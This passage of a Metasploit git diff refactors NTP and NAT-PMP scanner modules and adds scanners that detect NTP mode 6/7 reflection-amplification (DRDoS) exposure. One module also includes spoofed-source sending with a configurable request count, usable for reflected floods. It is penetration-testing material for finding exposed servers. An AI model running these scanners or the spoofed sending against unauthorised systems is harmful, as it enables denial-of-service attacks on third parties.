print_error("Didn't get a response for #{host}'s external address") + vprint_status("#{peer} didn't respond with an external address") return end - Rex::Socket.portspec_crack(datastore['PORTS']).each do |port| - # send one request to clear the mapping if *we've* created it before - clear_req = Rex::Proto::NATPMP.map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 0) - udp_sock.sendto(clear_req, host, datastore['RPORT'].to_i, 0) - while (r = udp_sock.recvfrom(16, 1.0) and r[1]) - end + # clear all mappings + map_port(udp_sock, host, datastore['RPORT'], 0, 0, Rex::Proto::NATPMP.const_get(protocol), 0) - # now try the real mapping - map_req = Rex::Proto::NATPMP.map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 1) - udp_sock.sendto(map_req, host, datastore['RPORT'].to_i, 0) + Rex::Socket.portspec_crack(datastore['PORTS']).each do |port| + map_req = map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 1) + udp_sock.sendto(map_req, host, datastore['RPORT'], 0) while (r = udp_sock.recvfrom(16, 1.0) and r[1]) - handle_reply(host, external_address, r) + break if handle_reply(host, external_address, r) end end @@ -85,30 +74,30 @@ class Metasploit3 < Msf::Auxiliary host = pkt[1] protocol = datastore['PROTOCOL'].to_s.downcase - (ver, op, result, epoch, int, ext, lifetime) = Rex::Proto::NATPMP.parse_map_port_response(pkt[0]) + (ver, op, result, epoch, int, ext, lifetime) = parse_map_port_response(pkt[0]) + peer = "#{host}:#{datastore['RPORT']}" if (result == 0) # we always ask to map an external port to the same port on us. If # we get a successful reponse back but the port we requested be forwarded # is different, that means that someone else already has it open if (int != ext) state = Msf::ServiceState::Open - print_status("#{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with unmatched ports") + print_good("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with unmatched ports") + if inside_workspace_boundary?(external_addr) + report_service( + :host => external_addr, + :port => int, + :proto => protocol, + :state => state + ) + end else state = Msf::ServiceState::Closed - print_status("#{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports") if (datastore['DEBUG']) + print_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports") if (datastore['DEBUG']) end else state = Msf::ServiceState::Closed - print_status("#{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response") if (datastore['DEBUG']) - end - - if inside_workspace_boundary?(external_addr) - report_service( - :host => external_addr, - :port => int, - :proto => protocol, - :state => state - ) + print_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response") if (datastore['DEBUG']) end report_service( @@ -118,5 +107,6 @@ class Metasploit3 < Msf::Auxiliary :proto => 'udp', :state => Msf::ServiceState::Open ) + true end end diff --git a/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb b/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb index 1efd3e4285..bfa7617f28 100644 --- a/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb +++ b/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb @@ -2,7 +2,7 @@ # nessus_ntp_login.rb ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb index 51c568b5d5..018fa7ce17 100644 --- a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb @@ -3,7 +3,7 @@ ## ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb index 4e3d30f283..02a80974d7 100644 --- a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb +++ b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb @@ -3,7 +3,7 @@ ## ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary :port => datastore['RPORT'], :name => "nessus-xmlrpc", :info => 'Nessus XMLRPC', - :state => 'UP' + :state => 'open' ) else vprint_error("Wrong HTTP Server header: #{res.headers['Server'] || ''}") diff --git a/modules/auxiliary/scanner/netbios/nbname.rb b/modules/auxiliary/scanner/netbios/nbname.rb index 04c36e60da..64b9befe91 100644 --- a/modules/auxiliary/scanner/netbios/nbname.rb +++ b/modules/auxiliary/scanner/netbios/nbname.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/netbios/nbname_probe.rb b/modules/auxiliary/scanner/netbios/nbname_probe.rb index 5c1d40aa07..fe990c8685 100644 --- a/modules/auxiliary/scanner/netbios/nbname_probe.rb +++ b/modules/auxiliary/scanner/netbios/nbname_probe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb index 8d66576e0d..1401bd5095 100644 --- a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb +++ b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb @@ -3,7 +3,7 @@ ## ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/nfs/nfsmount.rb b/modules/auxiliary/scanner/nfs/nfsmount.rb index e8bfcd059e..7321992831 100644 --- a/modules/auxiliary/scanner/nfs/nfsmount.rb +++ b/modules/auxiliary/scanner/nfs/nfsmount.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ntp/ntp_monlist.rb b/modules/auxiliary/scanner/ntp/ntp_monlist.rb index c8b5675377..448edb35aa 100644 --- a/modules/auxiliary/scanner/ntp/ntp_monlist.rb +++ b/modules/auxiliary/scanner/ntp/ntp_monlist.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,7 +8,10 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::NTP + include Msf::Auxiliary::DRDoS def initialize super( @@ -33,10 +36,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - Opt::RPORT(123), - Opt::CHOST, OptInt.new('RETRY', [false, "Number of tries to query the NTP server", 3]), - OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), OptBool.new('SHOW_LIST', [false, 'Show the recent clients list', 'false']) ], self.class) @@ -46,134 +46,107 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - # Define our batch size - def run_batch_size - datastore['BATCHSIZE'].to_i +# Called for each response packet + def scanner_process(data, shost, sport) + @results[shost] ||= { messages: [], peers: [] } + @results[shost][:messages] << Rex::Proto::NTP::NTPPrivate.new(data) + @results[shost][:peers] << extract_peer_tuples(data) end - # Fingerprint a single host - def run_batch(batch) - + # Called before the scan block + def scanner_prescan(batch) @results = {} @aliases = {} + @probe = Rex::Proto::NTP.ntp_private(datastore['VERSION'], datastore['IMPLEMENTATION'], 42) + end - vprint_status("Sending probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") - - begin - udp_sock = nil - idx = 0 - - # Create an unbound UDP socket if no CHOST is specified, otherwise - # create a UDP socket bound to CHOST (in order to avail of pivoting) - udp_sock = Rex::Socket::Udp.create({ - 'LocalHost' => datastore['CHOST'] || nil, - 'Context' => {'Msf' => framework, 'MsfExploit' => self} - }) - add_socket(udp_sock) - - # Try more times since NTP servers can be a bit busy - 1.upto(datastore['RETRY'].to_i) do - batch.each do |ip| - next if @results[ip] - - begin - data = probe_pkt_ntp - udp_sock.sendto(data, ip, datastore['RPORT'].to_i, 0) - rescue ::Interrupt - raise $! - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused - nil - end - - if (idx % 30 == 0) - while (r = udp_sock.recvfrom(65535, 0.1) and r[1]) - parse_reply(r) - end - end - - idx += 1 - end - end - - while (r = udp_sock.recvfrom(65535, 10) and r[1]) - parse_reply(r) - end - - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("Unknown error: #{e.class} #{e}") - end - + # Called after the scan block + def scanner_postscan(batch) @results.keys.each do |k| + response_map = { @probe => @results[k][:messages] } + peer = "#{k}:#{rport}" + # TODO: check to see if any of the responses are actually NTP before reporting report_service( :host => k, :proto => 'udp', - :port => datastore['RPORT'].to_i, + :port => rport, :name => 'ntp' ) - report_note( - :host => k, - :proto => 'udp', - :port => datastore['RPORT'].to_i, - :type => 'ntp.monlist', - :data => {:monlist => @results[k]} - ) - - if (@aliases[k] and @aliases[k].keys[0] != k) - print_good("#{k}:#{datastore['RPORT'].to_i} NTP monlist request permitted (#{@results[k].length} entries)") + peers = @results[k][:peers].flatten(1) + unless peers.empty? + print_good("#{peer} NTP monlist request permitted (#{peers.length} entries)") + # store the peers found from the monlist report_note( :host => k, :proto => 'udp', - :port => datastore['RPORT'].to_i, - :type => 'ntp.addresses', - :data => {:addresses => @aliases[k].keys} + :port => rport, + :type => 'ntp.monlist', + :data => {:monlist => peers} ) + # print out peers if desired + if datastore['SHOW_LIST'] + peers.each do |ntp_peer| + print_status("#{peer} #{ntp_peer}") + end + end + # store any aliases for our target + report_note( + :host => k, + :proto => 'udp', + :port => rport, + :type => 'ntp.addresses', + :data => {:addresses => peers.map { |p| p.last }.sort.uniq } + ) + + if (datastore['StoreNTPClients']) + print_status("#{peer} Storing #{peers.length} NTP client hosts in the database...") + peers.each do |r| + maddr,mport,mserv = r + next if maddr == '127.0.0.1' # some NTP servers peer with themselves..., but we can't store loopback + report_note( + :host => maddr, + :type => 'ntp.client.history', + :data => { + :address => maddr, + :port => mport, + :server => mserv + } + ) + end + end end - if (datastore['StoreNTPClients']) - print_status("#{k} Storing #{@results[k].length} NTP client hosts in the database...") - @results[k].each do |r| - maddr,mport,mserv = r - report_note( - :host => maddr, - :type => 'ntp.client.history', - :data => { - :address => maddr, - :port => mport, - :server => mserv - } - ) - end + vulnerable, proof = prove_amplification(response_map) + what = 'NTP Mode 7 monlist DRDoS (CVE-2013-5211)' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln({ + :host => k, + :port => rport, + :proto => 'udp', + :name => what, + :refs => self.references + }) + else + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") end end end - def parse_reply(pkt) - - # Ignore "empty" packets - return if not pkt[1] - - if(pkt[1] =~ /^::ffff:/) - pkt[1] = pkt[1].sub(/^::ffff:/, '') - end - - data = pkt[0] - host = pkt[1] - port = pkt[2] - - return if pkt[0].length < (72 + 16) + # Examine the monlist reponse +data+ and extract all peer tuples (saddd, dport, daddr) + def extract_peer_tuples(data) + return [] if data.length < 76 # NTP headers 8 bytes ntp_flags, ntp_auth, ntp_vers, ntp_code = data.slice!(0,4).unpack('C*') - vprint_status("#{host}:#{port} - ntp_auth: #{ntp_auth}, ntp_vers: #{ntp_vers}") pcnt, plen = data.slice!(0,4).unpack('nn') - return if plen != 72 + return [] if plen != 72 idx = 0 + peer_tuples = [] 1.upto(pcnt) do #u_int32 firsttime; /* first time we received a packet */ #u_int32 lasttime; /* last packet from this host */ @@ -184,21 +157,11 @@ class Metasploit3 < Msf::Auxiliary #u_int32 flags; /* flags about destination */ #u_short port; /* port number of last reception */ - firsttime,lasttime,restr,count,saddr,daddr,flags,dport = data[idx, 30].unpack("NNNNNNNn") + _,_,_,_,saddr,daddr,_,dport = data[idx, 30].unpack("NNNNNNNn") - @results[host] ||= [] - @aliases[host] ||= {} - @results[host] << [ Rex::Socket.addr_itoa(daddr), dport, Rex::Socket.addr_itoa(saddr) ] - @aliases[host][Rex::Socket.addr_itoa(saddr)] = true - if datastore['SHOW_LIST'] - print_status("#{host}:#{port} #{Rex::Socket.addr_itoa(saddr)} (lst: #{lasttime}sec., cnt: #{count})") - end + peer_tuples << [ Rex::Socket.addr_itoa(saddr), dport, Rex::Socket.addr_itoa(daddr) ] idx += plen end + peer_tuples end - - def probe_pkt_ntp - "\x17\x00\x03\x2a" + "\x00" * 188 - end - end diff --git a/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb b/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb new file mode 100644 index 0000000000..c2d7653db8 --- /dev/null +++ b/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb @@ -0,0 +1,78 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::NTP + include Msf::Auxiliary::DRDoS + + def initialize + super( + 'Name' => 'NTP Mode 7 PEER_LIST DoS Scanner', + 'Description' => %q{ + This module identifies NTP servers which permit "PEER_LIST" queries and + return responses that are larger in size or greater in quantity than + the request, allowing remote attackers to cause a distributed, reflected + denial of service (aka, "DRDoS" or traffic amplification) via spoofed + requests. + }, + 'Author' => 'Jon Hart <jon_hart[at]rapid7.com>', + 'References' => + [ + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3696'], + ['URL', 'http://r-7.co/R7-2014-12'] + ], + 'DisclosureDate' => 'Aug 25 2014', + 'License' => MSF_LICENSE + ) + end + + # Called before the scan block + def scanner_prescan(batch) + @results = {} + @probe = Rex::Proto::NTP.ntp_private(datastore['VERSION'], datastore['IMPLEMENTATION'], 0) + end + + # Called for each response packet + def scanner_process(data, shost, sport) + @results[shost] ||= [] + @results[shost] << Rex::Proto::NTP::NTPPrivate.new(data) + end + + # Called after the scan block + def scanner_postscan(batch) + @results.keys.each do |k| + response_map = { @probe => @results[k] } + # TODO: check to see if any of the responses are actually NTP before reporting + report_service( + :host => k, + :proto => 'udp', + :port => rport, + :name => 'ntp' + ) + + peer = "#{k}:#{rport}" + vulnerable, proof = prove_amplification(response_map) + what = 'R7-2014-12 NTP Mode 7 PEER_LIST DRDoS' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln({ + :host => k, + :port => rport, + :proto => 'udp', + :name => what, + :refs => self.references + }) + else + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") + end + end + end +end diff --git a/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb b/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb new file mode 100644 index 0000000000..900c9b7fad --- /dev/null +++ b/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb @@ -0,0 +1,78 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::NTP + include Msf::Auxiliary::DRDoS + + def initialize + super( + 'Name' => 'NTP Mode 7 PEER_LIST_SUM DoS Scanner', + 'Description' => %q{ + This module identifies NTP servers which permit "PEER_LIST_SUM" queries and + return responses that are larger in size or greater in quantity than + the request, allowing remote attackers to cause a distributed, reflected + denial of service (aka, "DRDoS" or traffic amplification) via spoofed + requests. + }, + 'Author' => 'Jon Hart <jon_hart[at]rapid7.com>', + 'References' => + [ + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3696'], + ['URL', 'http://r-7.co/R7-2014-12'] + ], + 'DisclosureDate' => 'Aug 25 2014', + 'License' => MSF_LICENSE + ) + end + + # Called for each response packet + def scanner_process(data, shost, sport) + @results[shost] ||= [] + @results[shost] << Rex::Proto::NTP::NTPPrivate.new(data) + end + + # Called before the scan block + def scanner_prescan(batch) + @results = {} + @probe = Rex::Proto::NTP.ntp_private(datastore['VERSION'], datastore['IMPLEMENTATION'], 1) + end + + # Called after the scan block + def scanner_postscan(batch) + @results.keys.each do |k| + response_map = { @probe => @results[k] } + # TODO: check to see if any of the responses are actually NTP before reporting + report_service( + :host => k, + :proto => 'udp', + :port => rport, + :name => 'ntp' + ) + + peer = "#{k}:#{rport}" + vulnerable, proof = prove_amplification(response_map) + what = 'R7-2014-12 NTP Mode 7 PEER_LIST_SUM DRDoS' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln({ + :host => k, + :port => rport, + :proto => 'udp', + :name => what, + :refs => self.references + }) + else + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") + end + end + end +end diff --git a/modules/auxiliary/scanner/ntp/ntp_readvar.rb b/modules/auxiliary/scanner/ntp/ntp_readvar.rb index dbb7b9edb2..98cb2a0d4c 100644 --- a/modules/auxiliary/scanner/ntp/ntp_readvar.rb +++ b/modules/auxiliary/scanner/ntp/ntp_readvar.rb @@ -1,67 +1,88 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary - - - include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Report - include Msf::Auxiliary::Scanner - + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::NTP + include Msf::Auxiliary::DRDoS def initialize(info = {}) super(update_info(info, 'Name' => 'NTP Clock Variables Disclosure', - 'Description' => %q{ - This module reads the system internal NTP variables. These variables contain + 'Description' => %q( + This module reads the system internal NTP variables. These variables contain potentially sensitive information, such as the NTP software version, operating system version, peers, and more. - }, - 'Author' => [ 'Ewerson Guimaraes(Crash) <crash[at]dclabs.com.br>' ], + ), + 'Author' => + [ + 'Ewerson Guimaraes(Crash) <crash[at]dclabs.com.br>', # original Metasploit module + 'Jon Hart <jon_hart[at]rapid7.com>' # UDPScanner version for faster scans + ], 'License' => MSF_LICENSE, 'References' => [ - [ 'URL','http://www.rapid7.com/vulndb/lookup/ntp-clock-variables-disclosure' ], + [ 'URL', 'http://www.rapid7.com/vulndb/lookup/ntp-clock-variables-disclosure' ] ] ) ) - register_options( - [ - Opt::RPORT(123) - ], self.class) end - def run_host(ip) + def scanner_process(data, shost, _sport) + @results[shost] ||= [] + @results[shost] << Rex::Proto::NTP::NTPControl.new(data) + end - connect_udp - - readvar = "\x16\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00" #readvar command - print_status("Connecting target #{rhost}:#{rport}...") - - print_status("Sending command") - udp_sock.put(readvar) - reply = udp_sock.recvfrom(65535, 0.1) - if not reply or reply[0].empty? - print_error("#{rhost}:#{rport} - Couldn't read NTP variables") - return + def scan_host(ip) + if spoofed? + datastore['ScannerRecvWindow'] = 0 + scanner_spoof_send(@probe, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) + else + scanner_send(@probe, ip, datastore['RPORT']) end - p_reply = reply[0].split(",") - arr_count = 0 - while ( arr_count < p_reply.size) - if arr_count == 0 - print_good("#{rhost}:#{rport} - #{p_reply[arr_count].slice(12,p_reply[arr_count].size)}") #12 is the adjustment of packet garbage - arr_count = arr_count + 1 + end + + def scanner_prescan(batch) + @results = {} + print_status("Sending NTP v2 READVAR probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + @probe = Rex::Proto::NTP::NTPControl.new + @probe.version = datastore['VERSION'] + @probe.operation = 2 + end + + def scanner_postscan(_batch) + @results.keys.each do |k| + # TODO: check to see if any of the responses are actually NTP before reporting + report_service( + host: k, + proto: 'udp', + port: rport, + name: 'ntp', + info: @results[k].map { |r| r.payload.slice(0,r.payload_size) }.join.inspect + ) + + peer = "#{k}:#{rport}" + response_map = { @probe => @results[k] } + vulnerable, proof = prove_amplification(response_map) + what = 'NTP Mode 6 READVAR DRDoS' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln( + host: k, + port: rport, + proto: 'udp', + name: what, + refs: references + ) else - print_good("#{rhost}:#{rport} - #{p_reply[arr_count].strip}") - arr_count = arr_count + 1 + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") end end - disconnect_udp - end - end diff --git a/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb b/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb new file mode 100644 index 0000000000..f31ee5f258 --- /dev/null +++ b/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb @@ -0,0 +1,81 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::NTP + include Msf::Auxiliary::DRDoS + + def initialize + super( + 'Name' => 'NTP Mode 6 REQ_NONCE DRDoS Scanner', + 'Description' => %q{ + This module identifies NTP servers which permit mode 6 REQ_NONCE requests that + can be used to conduct DRDoS attacks. In some configurations, NTP servers will + respond to REQ_NONCE requests with a response larger than the request, + allowing remote attackers to cause a distributed, reflected + denial of service (aka, "DRDoS" or traffic amplification) via spoofed + requests. + }, + 'Author' => 'Jon Hart <jon_hart[at]rapid7.com>', + 'References' => + [ + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3696'], + ['URL', 'http://r-7.co/R7-2014-12'] + ], + 'DisclosureDate' => 'Aug 25 2014', + 'License' => MSF_LICENSE + ) + end + + # Called for each response packet + def scanner_process(data, shost, sport) + @results[shost] ||= [] + @results[shost] << Rex::Proto::NTP::NTPControl.new(data) + end + + # Called before the scan block + def scanner_prescan(batch) + @results = {} + @probe = Rex::Proto::NTP::NTPControl.new + @probe.version = datastore['VERSION'] + @probe.operation = 12 + end + + # Called after the scan block + def scanner_postscan(batch) + @results.keys.each do |k| + response_map = { @probe => @results[k] } + # TODO: check to see if any of the responses are actually NTP before reporting + report_service( + :host => k, + :proto => 'udp', + :port => rport, + :name => 'ntp' + ) + + peer = "#{k}:#{rport}" + vulnerable, proof = prove_amplification(response_map) + what = 'R7-2014-12 NTP Mode 6 REQ_NONCE DRDoS' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln({ + :host => k, + :port => rport, + :proto => 'udp', + :name => what, + :refs => self.references + }) + else + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") + end + end + end +end diff --git a/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb b/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb new file mode 100644 index 0000000000..eb4ebbc44a --- /dev/null +++ b/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb @@ -0,0 +1,80 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::NTP + include Msf::Auxiliary::DRDoS + + def initialize + super( + 'Name' => 'NTP Mode 7 GET_RESTRICT DRDoS Scanner', + 'Description' => %q{ + This module identifies NTP servers which permit "reslist" queries and + obtains the list of restrictions placed on various network interfaces, + networks or hosts. The reslist feature allows remote + attackers to cause a distributed, reflected denial of service (aka, "DRDoS" or + traffic amplification) via spoofed requests. The more interfaces, networks + or hosts with specific restrictions, the greater the amplification. + requests. + }, + 'Author' => 'Jon Hart <jon_hart[at]rapid7.com>', + 'References' => + [ + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3696'], + ['URL', 'http://r-7.co/R7-2014-12'] + ], + 'DisclosureDate' => 'Aug 25 2014', + 'License' => MSF_LICENSE + ) + end + + # Called for each response packet + def scanner_process(data, shost, sport) + @results[shost] ||= [] + @results[shost] << Rex::Proto::NTP::NTPPrivate.new(data) + end + + # Called before the scan block + def scanner_prescan(batch) + @results = {} + @probe = Rex::Proto::NTP.ntp_private(datastore['VERSION'], datastore['IMPLEMENTATION'], 16) + end + + # Called after the scan block + def scanner_postscan(batch) + @results.keys.each do |k| + response_map = { @probe => @results[k] } + # TODO: check to see if any of the responses are actually NTP before reporting + report_service( + :host => k, + :proto => 'udp', + :port => rport, + :name => 'ntp' + ) + + peer = "#{k}:#{rport}" + vulnerable, proof = prove_amplification(response_map) + what = 'R7-2014-12 NTP Mode 7 GET_RESTRICT DRDoS' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln({ + :host => k, + :port => rport, + :proto => 'udp', + :name => what, + :refs => self.references + }) + else + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") + end + end + end +end diff --git a/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb b/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb new file mode 100644 index 0000000000..9913e40b1c --- /dev/null +++ b/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb @@ -0,0 +1,80 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::NTP + include Msf::Auxiliary::DRDoS + + def initialize + super( + 'Name' => 'NTP Mode 6 UNSETTRAP DRDoS Scanner', + 'Description' => %q{ + This module identifies NTP servers which permit mode 6 UNSETTRAP requests that + can be used to conduct DRDoS attacks. In some configurations, NTP servers will + respond to UNSETTRAP requests with multiple packets, allowing remote attackers + to cause a distributed, reflected denial of service (aka, "DRDoS" or traffic + amplification) via spoofed requests. + }, + 'Author' => 'Jon Hart <jon_hart[at]rapid7.com>', + 'References' => + [ + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3696'], + ['URL', 'http://r-7.co/R7-2014-12'] + ], + 'DisclosureDate' => 'Aug 25 2014', + 'License' => MSF_LICENSE + ) + end + + # Called for each response packet + def scanner_process(data, shost, sport) + @results[shost] ||= [] + @results[shost] << Rex::Proto::NTP::NTPControl.new(data) + end + + # Called before the scan block + def scanner_prescan(batch) + @results = {} + @probe = Rex::Proto::NTP::NTPControl.new + @probe.version = datastore['VERSION'] + @probe.operation = 31 + end + + # Called after the scan block + def scanner_postscan(batch) + @results.keys.each do |k| + response_map = { @probe => @results[k] } + # TODO: check to see if any of the responses are actually NTP before reporting + report_service( + :host => k, + :proto => 'udp', + :port => rport, + :name => 'ntp' + ) + + peer = "#{k}:#{rport}" + vulnerable, proof = prove_amplification(response_map) + what = 'R7-2014-12 NTP Mode 6 UNSETTRAP DRDoS' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln({ + :host => k, + :port => rport, + :proto => 'udp', + :name => what, + :refs => self.references + }) + else + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") + end + end + end +end diff --git a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb index 9942867d29..58f8312e95 100644 --- a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb index 4dd638c5a3..87f020318c 100644 --- a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb @@ -1,4 +1,4 @@ -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb index 8d7ffe0954..1216e5a318 100644 --- a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/oracle/emc_sid.rb b/modules/auxiliary/scanner/oracle/emc_sid.rb index 4915fc6200..f72286bd28 100644 --- a/modules/auxiliary/scanner/oracle/emc_sid.rb +++ b/modules/auxiliary/scanner/oracle/emc_sid.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/oracle/isqlplus_login.rb b/modules/auxiliary/scanner/oracle/isqlplus_login.rb index 39531bd30a..275b4f0467 100644 --- 